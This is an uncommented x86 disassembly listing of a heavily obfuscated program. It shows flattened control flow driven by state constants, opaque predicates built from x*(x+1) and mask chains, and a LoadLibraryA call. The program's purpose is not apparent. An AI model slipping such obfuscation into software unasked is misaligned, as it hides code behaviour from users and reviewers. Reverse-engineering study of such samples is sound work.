je 0x40d699
cmp eax, 0x4fdd01b3
jne 0x401a00
mov eax, dword [ebp - 0x110]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x10c]
cmp ecx, eax
mov eax, dword [0x4a3f84]
setl byte [ebp - 0x68]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xd5005bb1
and edx, 0x2affa44e
mov esi, ecx
not esi
and ecx, 0x58486baf
or eax, edx
mov edx, eax
xor edx, 0x50004ba1
xor eax, 0x2affa44e
mov edi, eax
or eax, esi
and esi, 0xa7b79450
and edi, 0xa7b79450
and edx, 0x58486baf
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0xbb6d7529
mov edx, eax
and edx, 0xe5a6e2d6
and esi, eax
not eax
and eax, 0x1a591d29
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xe5a6e2d6
xor edi, 0xa1346800
xor edx, 0xa101020
and edi, ecx
or ecx, 1
and edx, 0x6fb0d034
mov eax, edi
not eax
and edi, 0x9a6aab03
and ecx, 0x904f2fcb
mov ebx, eax
and ebx, 0x659554fc
or ecx, edx
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x9a6aab03
or eax, ebx
and ebx, 0x659554fc
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x8afa64c4
and esi, 0x75059b3b
or eax, esi
mov esi, eax
xor esi, 0x19710a8
xor eax, 0xce68ee13
mov edx, eax
and edx, 0x38680d44
and esi, 0xc797f2bb
or esi, edx
mov edx, ecx
xor edx, 0x8007228a
xor ecx, 0x6fb0d034
or eax, ecx
and ecx, 0x38680d44
and edx, 0xc797f2ba
or edx, ecx
not eax
xor edx, esi
mov esi, 0xfa533cdb
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcb29a08b
and ecx, 0x34d65f74
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x362d5d84
and ecx, 0xc9d2a27b
or eax, ecx
mov ecx, eax
xor ecx, 0x2b802d0
xor eax, 0xa804d40c
and eax, 0xa847d42c
and ecx, 0x57b82bd3
or ecx, eax
mov eax, ecx
xor eax, 0x439023c0
xor ecx, 0xa006500c
and ecx, 0xb42e581f
and eax, 0x4bd1a7e0
or eax, ecx
mov ecx, eax
xor ecx, 0x800e0010
xor eax, 0x42918220
and eax, 0x76b1da2f
and ecx, 0x894e25d0
or ecx, eax
xor ecx, 0x894e25d0
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setl cl
setge ch
mov al, cl
and dl, cl
or cl, ah
and ch, ah
or dl, ch
xor cl, 1
xor al, ah
or cl, dl
mov ch, al
mov edx, ecx
xor ch, 1
and al, cl
not dl
or cl, ch
and dl, ch
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0xe2e1708a
cmovne edx, esi
test cl, cl
mov ecx, 0xe2e1708a
jmp 0x407ff4
cmp eax, 0xc21b24d1
je 0x40d870
cmp eax, 0xc37130d9
jne 0x401a00
mov eax, 0xa9a59896
mov dword [ebp - 0x30], 5
jmp 0x401a00
cmp eax, 0x1daf719e
je 0x40d976
cmp eax, 0x20a8d321
jne 0x401a00
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0xe96d640
jmp 0x401a00
cmp eax, 0xa28441aa
je 0x40d98d
cmp eax, 0xa517ab4c
jne 0x401a00
mov eax, dword [ebp - 0x150]
movzx eax, word [eax + 6]
mov word [ebp - 0xb2], ax
mov eax, 0x564bf2cf
jmp 0x401a00
cmp eax, 0x6de1a74b
je 0x40db3d
cmp eax, 0x6e88c239
jne 0x401a00
mov eax, 0xad5ce635
jmp 0x401a00
cmp eax, 0xf428b8d7
je 0x40dc09
cmp eax, 0xf4ac5b2b
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x9365460d
and edi, 0x6c9ab9f2
and edx, 0x5d1fa072
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xa2e05f8d
mov ebx, esi
not ebx
and esi, 0x6c9ab9f2
or eax, edx
or ecx, ebx
and ebx, 0x9365460d
or esi, ebx
not ecx
xor esi, edi
mov edi, 0xca9dd3e5
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x8b063e0d
mov esi, edx
and esi, 0x74f9c1f2
or ecx, esi
mov esi, eax
xor esi, 0x82001e0d
xor eax, 0x54198072
and eax, 0x74f9c1f2
and esi, 0x8b063e0d
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xca9dd3e5
setne al
cmp dword [0x4a3f80], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
mov eax, 0x692f3b91
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401a00
cmp eax, 0x1004d438
je 0x40dc20
cmp eax, 0x116d7816
jne 0x401a00
mov eax, 0xbadc0262
jmp 0x401a00
cmp eax, 0x99545432
je 0x40dc2a
cmp eax, 0x99ab162b
jne 0x401a00
mov eax, 0xb75a69de
jmp 0x401a00
cmp eax, 0x5dcdd8b2
je 0x40dc3b
cmp eax, 0x5e8d5bdf
jne 0x401a00
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x6ea3b48
mov edx, ecx
and edx, 0xf915c4b6
and ecx, 0x621e0697
or esi, edx
mov edx, eax
and eax, 0x9de1f968
and edx, 1
or eax, ecx
xor esi, 0x6ea3b48
mov ecx, eax
or edx, esi
xor ecx, 0x9de1f968
xor eax, 0x621e0697
mov esi, 0x910fedc6
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
sete ah
setne dh
cmp dword [0x4a3f80], 0xa
mov al, ah
setl cl
setge dl
mov ch, cl
xor al, cl
and dl, ah
and ch, dh
and al, cl
or dh, cl
or cl, ah
or dl, ch
xor cl, 1
xor al, 1
mov bl, dh
or cl, dl
xor bl, al
or al, dh
mov ah, cl
xor al, 1
xor ah, 1
or al, bl
mov dl, ah
mov ch, al
and dl, cl
xor ch, 1
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov cl, dl
xor dl, al
mov eax, 0x8f6c3276
xor cl, 1
or ch, cl
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0x8f6c3276
cmovne eax, esi
test ch, 1
jmp 0x40a44b
cmp eax, 0xd6c22473
je 0x40dc4c
cmp eax, 0xd7a92e7b
jne 0x401a00
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
mov dword [ebp - 0x100], eax
mov eax, 0x9ddaf015
jmp 0x401a00
cmp eax, 0x350e608c
je 0x40df02
cmp eax, 0x3835a121
jne 0x401a00
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x22694002
mov esi, ecx
and esi, 0xc4
mov edi, ecx
or edi, 0x20200004
and ecx, 0xb1d4f881
or edx, esi
and edi, 0xe0a2b105
mov esi, edx
xor esi, 0x2494002
xor edx, 0xc082b105
and edx, 0xe0a2b105
and esi, 0x24940c2
or esi, edx
mov edx, eax
and edx, 0x1d140e38
and eax, 0x4e2b077e
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x226940c7
and esi, 0xdd96bf38
or edx, esi
mov ecx, edx
not ecx
and edx, 0x606caa0
mov esi, ecx
and esi, 0xf9f9355f
or edx, esi
mov esi, eax
xor esi, 0x6020220
xor eax, 0xb1d03001
and eax, 0xf9f9355f
and esi, 0x606caa0
or esi, eax
xor esi, edx
not esi
or esi, ecx
xor esi, 0xffffffff
mov esi, 0x78d2a4c2
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
mov dl, ah
and al, ah
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or cl, dl
or al, ah
mov ah, al
xor al, 1
and ah, dl
xor dl, 1
and al, dl
mov edx, ecx
or al, ah
xor dl, al
test cl, cl
mov ecx, 0xde1892e2
cmovne ecx, esi
test al, 1
mov eax, 0xde1892e2
jmp 0x407d57
cmp eax, 0xb31a7b5d
je 0x40e008
cmp eax, 0xb3d823d7
jne 0x401a00
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x84]
mov eax, 0xf1290df0
jmp 0x401a00
cmp eax, 0x790100b4
je 0x40e012
cmp eax, 0x7a5bbf54
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x11d3509f
and edi, 0xee2caf60
and edx, 0x207a9e44
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xdf8561bb
mov ebx, esi
not ebx
and esi, 0xee2caf60
or eax, edx
or ecx, ebx
and ebx, 0x11d3509f
mov edx, eax
xor edx, 0xdf8561bb
xor eax, 0x207a9e44
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x130b0818
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete dl
cmp dword [0x4a3f80], 0xa
setge al
setl ah
xor ah, dl
xor dl, al
and al, dl
mov cl, ah
xor al, 1
xor cl, 1
mov ch, al
or al, dl
xor ch, dl
mov edx, ecx
xor al, 1
and dl, ah
or al, ch
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
mov ah, al
xor dl, 1
xor ah, 1
or dl, ch
mov ch, dl
and dl, ah
xor ch, 1
and ch, al
or al, cl
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x654fc761
cmovne ecx, esi
test al, 1
mov eax, 0x654fc761
jmp 0x4019f5
cmp eax, 0xe6210fc9
je 0x40e028
cmp eax, 0xe63adbc2
jne 0x401a00
mov eax, 0xb7127ec2
jmp 0x401a00
cmp eax, 0xf827bd9c
je 0x40e04b
cmp eax, 0xf9c82eec
jne 0x401a00
mov eax, 0x41da2aff
jmp 0x401a00
cmp eax, 0x81edcafa
je 0x40e061
cmp eax, 0x83036a35
jne 0x401a00
mov eax, 0x790100b4
jmp 0x401a00
cmp eax, 0x41da2aff
je 0x40e072
cmp eax, 0x42a487ed
jne 0x401a00
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xac], eax
mov eax, 0x14fcdd35
jmp 0x401a00
cmp eax, 0xbadc0262
je 0x40e144
cmp eax, 0xbb08f783
jne 0x401a00
mov eax, 0x65dfce56
jmp 0x401a00
cmp eax, 0x15b86d80
je 0x40e160
cmp eax, 0x15e7d1e1
jne 0x401a00
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, 0xdf63d233
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0xb8], ecx
jmp 0x401a00
cmp eax, 0x9bedcceb
je 0x40e16a
cmp eax, 0x9c30b5ee
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xcbb60c20
and ecx, 0x3449f3df
or eax, ecx
mov ecx, eax
xor ecx, 0xc0260420
xor eax, 0x24483352
and eax, 0x2fd83b52
and ecx, 0xd027c4ad
or ecx, eax
mov esi, ecx
xor esi, 0xd027c4ad
mov edx, ecx
xor edx, 0x2d582300
and ecx, 1
mov eax, esi
and esi, 0xfffffffe
or eax, 1
and edx, 0x7d5be780
or ecx, esi
mov esi, eax
and esi, 0x82a4187f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7d5be780
or eax, esi
and esi, 0x82a4187f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xc691b014
and eax, 0x396e4feb
mov edi, edx
not edi
and edx, 0xc61fa4ef
or ecx, eax
mov eax, ecx
xor eax, 0xc611a004
xor ecx, 0x396e4feb
mov esi, ecx
or ecx, edi
and edi, 0x39e05b10
and esi, 0x39e05b10
and eax, 0xc61fa4ef
or eax, esi
or edx, edi
not ecx
xor edx, eax
or ecx, edx
setne ah
sete ch
cmp dword [0x4a3f80], 0xa
setl dl
setge cl
mov al, dl
or dl, ch
and ch, cl
xor cl, ah
xor cl, 1
and al, ah
mov ah, cl
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x2749d77d
xor cl, al
test cl, 1
mov ecx, 0xb1a59fd8
cmovne edx, ecx
test ah, 1
mov ecx, 0x2749d77d
jmp 0x407ff4
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0x7edf21f9
mov edi, edx
mov esi, eax
and esi, 0xa4c6cf80
and edi, 0x1201006
and edx, 0x8492b08b
or edi, esi
mov esi, ecx
xor esi, 0x8120de06
and esi, ecx
and ecx, 0x7b6d4f74
mov ebx, esi
not ebx
and esi, 0x5b39307f
or ecx, edx
or eax, ebx
and ebx, 0xa4c6cf80
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0x7edf21f8
and eax, 0x8120de07
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0x90f10ced
and esi, 0x6f0ef312
or esi, edx
mov edx, ecx
xor edx, 0x6b0c4310
xor ecx, 0x8492b08b
or eax, ecx
and ecx, 0x90f10ced
and edx, 0x6f0ef312
or edx, ecx
not eax
xor edx, esi
mov esi, 0x96ff1a67
or eax, edx
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x4a3f80], 0xa
setl ah
mov al, ah
or dl, ah
or al, cl
xor cl, ah
xor al, 1
or al, cl
and cl, ah
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x462de821
cmovne eax, esi
test dl, 1
mov edx, dword [ebp - 0x1c]
cmove eax, esi
mov esi, dword [ebp - 0xa4]
test cl, 1
mov dword [ebp - 0x194], edx
mov edx, 0x462de821
mov dword [ebp - 0x198], esi
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xd83b72f3
and eax, 0xa2fcd89f
mov edx, ecx
and edx, 0x7c48d0c
or esi, edx
mov edx, ecx
or edx, 0xdca6577e
and ecx, 0x5d032760
mov edi, esi
xor edi, 0x192081
xor esi, 0x2484050c
or eax, ecx
and edx, 0xfca6577e
and esi, 0xfca6577e
and edi, 0x359a881
mov ecx, eax
xor ecx, 0xa2fcd89f
xor eax, 0x5d032760
or edi, esi
xor edx, edi
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
mov eax, dword [0x4a3f84]
setne byte [ebp - 0x6b]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0x90efa13b
or esi, 0x9e018850
mov edx, ecx
and edx, 0x6f105ec4
and esi, 0xde89df59
and ecx, 0x86
or edx, eax
or ecx, esi
mov eax, edx
xor edx, 0x90efa13b
xor eax, 0x6f105ec4
mov edi, edx
or edi, 0x40885709
mov ebx, eax
and ebx, 0x21762020
and edx, 0x71fdec2e
and edi, 0xde89df59
or ebx, edi
xor ecx, ebx
mov esi, ecx
not esi
and ecx, 0x15d5bc56
and esi, 0xea2a43a9
or ecx, esi
mov esi, eax
and esi, 0x8e0213d1
and eax, 1
or esi, edx
xor ecx, 0xaaa21427
xor esi, 0x71fdec2f
or eax, esi
mov edx, eax
not edx
and eax, 0x18640f1c
and edx, 0xe79bf0e3
or eax, edx
xor eax, 0x18640f1c
or eax, ecx
mov ecx, eax
xor ecx, 0x58597016
mov edx, eax
not edx
mov esi, eax
or esi, 0x5008ac8
and ecx, eax
and esi, 0x500eacc
and edx, 0x58591012
mov edi, ecx
not edi
and ecx, 0xfaff1533
or edx, esi
or eax, edi
and edi, 0x500eacc
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xa7a68fe9
and eax, 0x58597016
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc93d533e
mov edx, ecx
and edx, 0x36c2acc1
or eax, edx
xor eax, 0xc93d533e
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4a3f80], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or al, dl
mov ch, ah
mov cl, al
xor ch, 1
mov edx, eax
or al, ch
xor cl, 1
and dl, ah
and ch, cl
xor cl, ah
xor al, 1
or al, cl
or ch, dl
mov edx, 0x130b0818
mov cl, al
xor cl, ch
test al, al
mov eax, 0xed47c411
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xed47c411
cmove eax, edx
jmp 0x401a00
push dword [ebp - 0x8c]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
mov eax, 0x9010f86e
jmp 0x401a00
mov eax, 0xf74020cc
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x903799c0
mov esi, ecx
or esi, 0xdc0402d
mov edx, ecx
not edx
and eax, ecx
and esi, 0xdf5492d
and edx, 0x900290c0
mov edi, eax
not edi
and eax, 0xf20ab6d2
or edx, esi
or ecx, edi
and edi, 0xdf5492d
or eax, edi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x6fc8663f
and ecx, 0x903799c0
or ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x632b5c02
mov edi, eax
mov esi, edx
and esi, 0x6fc5e1b4
and edi, 0x90100249
and eax, 0xae8a16de
or edi, esi
mov esi, ecx
xor esi, 0x9cd4a3fd
and esi, ecx
and ecx, 0x5175e920
mov ebx, esi
not ebx
and esi, 0x903a1e4b
or eax, ecx
or edx, ebx
and ebx, 0x6fc5e1b4
xor eax, 0xae8a16de
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x9cd4a3fc
and esi, 0x632b5c03
or edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc40188
and eax, 0x3218b864
mov edx, ecx
and edx, 0x20001
or ecx, 0x860100
or esi, edx
and ecx, 0xcda74712
mov edx, esi
xor edx, 0x400088
xor esi, 0xcd234612
or eax, ecx
and esi, 0xcda74712
and edx, 0x400089
or edx, esi
mov esi, 0xb75a69de
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xc60189
and ecx, 0xff39fe76
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x908d620f
mov edx, ecx
and edx, 0x6f729df0
or eax, edx
xor eax, 0x908d620f
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setl ch
setge ah
or ch, dl
mov al, ah
or ah, cl
mov dl, ch
inc al
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
mov edx, ecx
xor dl, al
or al, cl
mov cl, ah
mov ch, ah
xor al, 1
xor cl, 1
or al, dl
mov edx, ecx
and dl, ah
or cl, al
xor dl, 1
xor ch, dl
or dl, ah
mov ah, al
xor al, 1
and ah, al
xor dl, 1
mov ebx, eax
xor ah, 1
or dl, ch
xor bl, ah
or ah, al
mov al, dl
xor ah, 1
xor al, 1
or ah, bl
and al, ah
xor ah, 1
and ah, dl
mov edx, 0x99ab162b
or ah, al
mov al, cl
xor al, ah
test cl, 1
cmovne esi, edx
test ah, 1
not al
cmove esi, edx
test al, 1
mov eax, 0xb75a69de
cmovne esi, eax
mov eax, esi
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x800c9218
mov edx, eax
and edx, 0xc022123
and eax, 0x73f14cc4
or ecx, edx
xor ecx, 0x800c9218
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xad6f0239
mov esi, ecx
and esi, 0x5290fdc6
or edx, esi
mov esi, eax
not esi
and eax, 0xad6f0239
or ecx, esi
and esi, 0x5290fdc6
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0xee7f9ca5
mov eax, ecx
and eax, 0x2a7a8c24
and edx, ecx
not ecx
and ecx, 0xc4051081
or eax, ecx
mov ecx, eax
xor ecx, 0x20120c00
xor eax, 0xd58573db
mov esi, eax
and esi, 0x4fe9d0af
and ecx, 0xa0160c00
or ecx, esi
mov esi, edx
not esi
and edx, 0xb0162f50
or eax, esi
and esi, 0x4fe9d0af
or edx, esi
not eax
mov esi, 0xed0e5e83
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x799278f4
and ecx, 0x866d870b
or eax, ecx
mov ecx, eax
xor ecx, 0x1285e440
xor eax, 0x28021baa
and eax, 0xad6a1bbb
and ecx, 0x5295e444
or ecx, eax
mov eax, ecx
xor eax, 0x42108444
xor ecx, 0x880a08ba
and ecx, 0x988f68ba
and eax, 0x67709745
or eax, ecx
xor eax, 0x67709745
setne cl
sete dl
cmp dword [0x4a3f80], 0xa
setl al
setge ah
and al, cl
mov cl, ah
xor cl, dl
and dl, ah
or al, dl
and cl, ah
mov edx, eax
xor cl, 1
xor dl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
and ah, cl
xor cl, 1
and dl, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x9f476a89
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, dl
mov edx, 0x9f476a89
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
mov eax, 0x1b7ef19e
jmp 0x401a00
mov eax, dword [ebp - 0x84]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x44]
mov esi, 0x8f6c3276
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [0x4a3f84]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setl ch
setge al
or ch, dl
mov cl, al
or al, ah
mov dl, ch
xor cl, ah
xor dl, al
or al, ch
and cl, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x47419c25
cmovne ecx, esi
test al, al
mov eax, 0x47419c25
cmove ecx, esi
test dl, 1
jmp 0x40a341
mov eax, 0x72b0c36f
jmp 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbaffa462
mov esi, ecx
and esi, 0x45005b9c
and ecx, 0xcf14c72e
or edx, esi
mov esi, edx
xor esi, 0x90f30460
xor edx, 0x4400599c
and edx, 0x6e0cf99e
and esi, 0x91f30660
or esi, edx
mov edx, eax
or edx, 0x6e0cf99e
and eax, 0x30eb38d1
and edx, 0x6e0cf99f
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x30eb38d1
xor eax, 0xcf14c72e
mov esi, 0x1d8e45d7
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4a3f80], 0xa
mov eax, ecx
setge ah
xor cl, ah
or al, ah
or ah, dl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0x9bedcceb
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x9bedcceb
cmovne eax, ecx
test dl, dl
mov edx, dword [ebp - 0x70]
cmove eax, ecx
mov dword [ebp - 0x154], edx
jmp 0x401a00
mov eax, 0xd98c2b1c
jmp 0x401a00
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb40c022a
and eax, 0x1401114
mov edx, ecx
and edx, 0x28060c1
or ecx, 0x940040ab
or esi, edx
and ecx, 0xdc33ccab
mov edx, esi
xor edx, 0x200c0200
xor esi, 0x4833cc81
or eax, ecx
and esi, 0xdc33ccab
and edx, 0x228c2240
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xe41aa9da
and ecx, 0x1be55625
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xad6934ce
xor ecx, 0x5296cb31
xor edx, 0x1296cb31
and edx, ecx
and eax, 0xbfffffff
and ecx, 0x40000000
or ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0x27e065ed
mov edx, ecx
and edx, 0x27e021a4
and eax, ecx
not ecx
and ecx, 0x4449
or edx, ecx
xor edx, 0x27e021a4
or eax, edx
mov ecx, eax
not ecx
and eax, 0x75663374
and ecx, 0x8a99cc8b
or eax, ecx
mov ecx, eax
xor ecx, 0x805401
xor eax, 0x418a920
and ecx, 0xa9e15447
and eax, 0x561eabb8
or eax, ecx
cmp eax, 0x561eabb8
mov eax, 0xfd5cbb0e
jmp 0x408423
cmp dword [ebp - 0x104], 0
mov eax, dword [0x4a3f84]
mov esi, 0xb1a59fd8
lea ecx, [eax + 1]
setne byte [ebp - 0x67]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd07f58
and ecx, 0xf32f80a7
or eax, ecx
xor eax, 0xcd07f58
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
mov ch, dl
setl al
setge cl
and dl, al
and ch, cl
and al, ah
or al, ch
xor al, 1
or al, cl
and cl, ah
or cl, dl
mov ch, al
mov edx, ecx
xor ch, 1
and al, cl
xor dl, 1
and dl, ch
or al, dl
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xfb2ed1ef
cmovne edx, esi
test cl, 1
mov ecx, 0xfb2ed1ef
cmovne ecx, edx
test al, al
jmp 0x40c054
mov eax, 0x350e608c
jmp 0x401a00
mov eax, 0xb71ab4a1
jmp 0x401a00
mov eax, 0xae269dc2
jmp 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
or esi, 1
not edx
mov eax, edx
or eax, 0xb6485ed4
and esi, 0xb6485ed5
and edx, 0x49b7a12a
or edx, esi
and eax, 0xb6485ed5
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
mov esi, 0x56c9689
not eax
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x4a3f80], 0xa
setge dl
setl al
mov ah, dl
xor al, cl
xor ah, cl
and dl, ah
mov cl, ah
or al, dl
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
mov edx, 0x68bfd976
cmovne edx, esi
test al, al
mov eax, 0x68bfd976
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401a00
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x49a06f24
mov eax, esi
and eax, 0xb65f90da
and esi, 0x1af9ce64
or edx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
xor edx, 0x49a06f24
and ecx, 0xe506319b
or eax, edx
or ecx, esi
mov edx, eax
not edx
mov esi, eax
and esi, 0x90880b0b
and edx, 0x6f77f4f4
or edx, esi
mov esi, ecx
xor esi, 0x65063090
xor ecx, 0x1af9ce64
or eax, ecx
